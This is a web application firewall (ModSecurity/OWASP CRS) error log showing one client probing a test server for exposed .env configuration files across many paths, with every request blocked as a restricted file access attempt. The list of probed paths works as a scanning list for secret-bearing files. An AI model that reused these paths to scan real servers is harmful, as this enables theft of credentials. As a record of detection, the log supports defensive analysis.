[Wed Feb 25 06:04:50.456921 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAAAAAAU&quot;]
[Wed Feb 25 06:04:50.457135 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAAAAAAU&quot;]
[Wed Feb 25 06:04:50.519207 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /azure/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAQAAAAU&quot;]
[Wed Feb 25 06:04:50.519496 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAQAAAAU&quot;]
[Wed Feb 25 06:04:50.519698 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAQAAAAU&quot;]
[Wed Feb 25 06:04:50.560934 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /alpha/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5eAAAAAM&quot;]
[Wed Feb 25 06:04:50.561228 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5eAAAAAM&quot;]
[Wed Feb 25 06:04:50.561471 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5eAAAAAM&quot;]
[Wed Feb 25 06:04:50.563455 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAgAAAAU&quot;]
[Wed Feb 25 06:04:50.563721 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAgAAAAU&quot;]
[Wed Feb 25 06:04:50.563896 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAgAAAAU&quot;]
[Wed Feb 25 06:04:50.608998 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /anaconda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5eQAAAAM&quot;]
[Wed Feb 25 06:04:50.609288 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5eQAAAAM&quot;]
[Wed Feb 25 06:04:50.609500 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/anaconda/.env&quot;] [unique_id &quot;aZ6C8rZegw_qLbSTRXm5eQAAAAM&quot;]
[Wed Feb 25 06:04:50.694295 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAwAAAAU&quot;]
[Wed Feb 25 06:04:50.694623 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAwAAAAU&quot;]
[Wed Feb 25 06:04:50.694825 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDAwAAAAU&quot;]
[Wed Feb 25 06:04:50.789670 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBAAAAAU&quot;]
[Wed Feb 25 06:04:50.789954 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBAAAAAU&quot;]
[Wed Feb 25 06:04:50.790155 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBAAAAAU&quot;]
[Wed Feb 25 06:04:50.940794 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBQAAAAU&quot;]
[Wed Feb 25 06:04:50.941092 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBQAAAAU&quot;]
[Wed Feb 25 06:04:50.941290 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBQAAAAU&quot;]
[Wed Feb 25 06:04:50.989766 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBgAAAAU&quot;]
[Wed Feb 25 06:04:50.990011 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBgAAAAU&quot;]
[Wed Feb 25 06:04:50.990179 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ6C8uTWwZsZM3_RktVDBgAAAAU&quot;]
[Wed Feb 25 06:04:51.045427 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDBwAAAAU&quot;]
[Wed Feb 25 06:04:51.045725 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDBwAAAAU&quot;]
[Wed Feb 25 06:04:51.045919 2026] [:error] [pid 2312955] [client 185.177.72.13:61950] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ6C8-TWwZsZM3_RktVDBwAAAAU&quot;]
[Wed Feb 25 06:04:51.076023 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gAAAAAM&quot;]
[Wed Feb 25 06:04:51.076337 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gAAAAAM&quot;]
[Wed Feb 25 06:04:51.076541 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-server/.env&quot;] [unique_id &quot;aZ6C87Zegw_qLbSTRXm5gAAAAAM&quot;]
